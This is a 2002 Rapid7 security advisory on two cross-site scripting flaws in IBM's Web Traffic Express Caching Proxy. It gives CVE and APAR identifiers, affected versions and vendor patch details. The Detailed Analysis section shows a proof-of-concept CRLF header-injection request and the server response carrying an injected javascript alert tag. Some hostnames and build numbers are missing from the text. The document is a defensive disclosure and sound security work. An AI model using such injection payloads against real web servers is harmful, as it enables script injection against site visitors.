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Rapid7 Advisory R7-0008: IBM WebSphere Edge Server Caching Proxy Cross-Site Scripting Issues

First XSS issue (standard XSS)

IBM: APAR# IY24527

CVE: CAN-2002-1167

Bugtraq: 6000

Second XSS issue (HTTP header injection)

IBM: APAR# IY35139

CVE: CAN-2002-1168

Bugtraq: 6001


October 23, 2002 - IBM Web Traffic Express Caching Proxy server is vulnerable to cross site scripting. The Caching Proxy server allows script code to be injected into pages using standard cross-site scripting techniques. A second, variant attack allows the HTTP headers to be manipulated.

IBM now bundles Web Traffic Express v4.0 with WebSphere Edge Server v2.0. IBM Web Traffic Express v3.6 and earlier were separately shipping products.

Affected system(s):


  • IBM Web Traffic Express Caching Proxy Server v4.x (bundled with IBM WebSphere Edge Server v2.0)
  • IBM Web Traffic Express Caching Proxy Server v3.6

Vendor Info

IBM Software

IBM was notified of this issue and has released efix build number for Caching Proxy Server v4.x, which fixes this issue and other security issues (see Rapid7 advisory R7-0007 for more information: ).

IBM is tracking the first (standard) XSS issue as APAR# IY24527.

IBM is tracking the second (header injection) XSS issue as APAR# IY35139.

Detailed Analysis

There are two XSS techniques that can be used against the caching proxy server. Please note that the following text may be wrapped or otherwise mangled by mail clients or gateways. You should refer to the original advisory if there is a question about the exact text.

  1. Standard XSS exploit against Web Traffic Express Caching Proxy

    Request the following path from the caching proxy server:


  2. XSS exploit against Web Traffic Express Caching Proxy, adding a second "Location:" header by using %0a%0d

    telnet 80
    Connected to
    Escape character is '^]'.
    GET /%0a%0dLocation:%20"> HTTP/1.0

    HTTP/1.1 302 Found
    Server: IBM-PROXY-WTE-US/3.6
    Date: Fri, 18 Oct 2002 03:44:18 GMT
    Location: http:/<img src="javascript:alert(document.domain)">
    Accept-Ranges: bytes
    Content-Type: text/html
    Content-Length: 443
    Last-Modified: Fri, 26 Jul 2002 03:44:18 GMT


IBM customers should install Caching Proxy efix build or higher. Efix builds can be downloaded from IBM's secure FTP site. For more information on obtaining efix builds, contact IBM support with the APAR numbers listed above.

The fixes have also been ported back to the Web Traffic Express v3.6 code base. Customers running v3.6 should contact IBM support for more information on how to upgrade to a newer build.

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This advisory Copyright (C) 2002 Rapid7, LLC. Permission is hereby granted to redistribute this advisory, providing that no changes are made and that the copyright notices and disclaimers remain intact.